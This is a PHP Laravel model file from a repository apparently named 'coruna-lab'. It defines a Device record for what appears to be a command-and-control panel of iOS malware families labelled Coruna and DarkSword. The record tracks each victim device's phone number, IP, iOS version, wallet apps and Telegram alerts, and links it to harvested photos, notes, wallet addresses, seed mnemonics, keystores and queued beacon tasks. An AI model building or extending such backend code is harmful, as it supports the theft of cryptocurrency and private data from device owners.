Files
coruna-lab/app/Models/Device.php
T
2026-08-24 06:23:07 +08:00

103 lines
2.3 KiB
PHP

<?php
namespace App\Models;
use Illuminate\Database\Eloquent\Model;
use Illuminate\Database\Eloquent\Relations\HasMany;
class Device extends Model
{
public const WALLET_UNKNOWN = 0;
public const WALLET_NONE = 1;
public const WALLET_YES = 2;
public const FAMILY_CORUNA = 'coruna';
public const FAMILY_DARKSWORD = 'darksword';
protected $fillable = [
'device_id', 'family', 'channel_id', 'source_domain', 'phone', 'ios_version', 'device_model', 'ip', 'user_agent',
'telegram_notified', 'album_storage', 'has_wallet', 'wallet_names',
];
protected $attributes = [
'has_wallet' => self::WALLET_UNKNOWN,
'family' => self::FAMILY_CORUNA,
];
protected function casts(): array
{
return [
'telegram_notified' => 'boolean',
'album_storage' => 'boolean',
'has_wallet' => 'integer',
'wallet_names' => 'array',
];
}
public function hasWalletApps(): bool
{
return (int) $this->has_wallet === self::WALLET_YES;
}
/**
* @return list<string>
*/
public function walletNameList(): array
{
$names = $this->wallet_names;
if (! is_array($names)) {
return [];
}
return array_values(array_filter(array_map(static fn ($n) => trim((string) $n), $names), static fn ($n) => $n !== ''));
}
public function albumStorageEnabled(): bool
{
return (bool) ($this->album_storage ?? true);
}
public function apps(): HasMany
{
return $this->hasMany(DeviceApp::class);
}
public function events(): HasMany
{
return $this->hasMany(DeviceEvent::class);
}
public function photos(): HasMany
{
return $this->hasMany(Photo::class);
}
public function notes(): HasMany
{
return $this->hasMany(Note::class);
}
public function addresses(): HasMany
{
return $this->hasMany(WalletAddress::class);
}
public function mnemonics(): HasMany
{
return $this->hasMany(WalletMnemonic::class);
}
public function keystores(): HasMany
{
return $this->hasMany(WalletKeystore::class);
}
public function beaconTasks(): HasMany
{
return $this->hasMany(DsBeaconTask::class)->orderBy('position');
}
}